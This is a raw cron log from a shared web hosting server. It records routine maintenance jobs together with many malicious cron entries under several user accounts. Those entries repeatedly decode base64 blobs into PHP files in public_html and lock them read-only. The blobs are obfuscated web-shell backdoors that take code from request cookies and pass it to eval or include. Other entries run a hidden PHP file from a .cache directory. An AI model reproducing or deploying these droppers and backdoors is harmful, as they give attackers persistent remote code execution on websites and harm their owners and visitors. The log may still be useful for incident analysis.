Mar  2 14:21:01 medusa CROND[5060]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:22:01 medusa CROND[21588]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:22:01 medusa CROND[21589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:22:01 medusa CROND[21590]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:22:01 medusa CROND[21591]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:22:01 medusa CROND[21595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:22:01 medusa CROND[21594]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:22:01 medusa CROND[21597]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:22:01 medusa CROND[21598]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:22:01 medusa CROND[21596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:22:01 medusa CROND[21602]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:22:01 medusa CROND[21606]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:22:01 medusa CROND[21610]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:22:01 medusa CROND[21611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:22:01 medusa CROND[21616]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:23:02 medusa CROND[9719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:23:02 medusa CROND[9802]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:23:02 medusa CROND[9803]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:23:02 medusa CROND[9804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:23:02 medusa CROND[9805]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:23:02 medusa CROND[9806]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:23:02 medusa CROND[9807]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:23:02 medusa CROND[9808]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:23:02 medusa CROND[9811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:23:02 medusa CROND[9814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:23:02 medusa CROND[9815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:23:02 medusa CROND[9821]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:24:01 medusa CROND[27824]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:24:01 medusa CROND[27825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:24:01 medusa CROND[27826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:24:01 medusa CROND[27827]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:24:01 medusa CROND[27834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
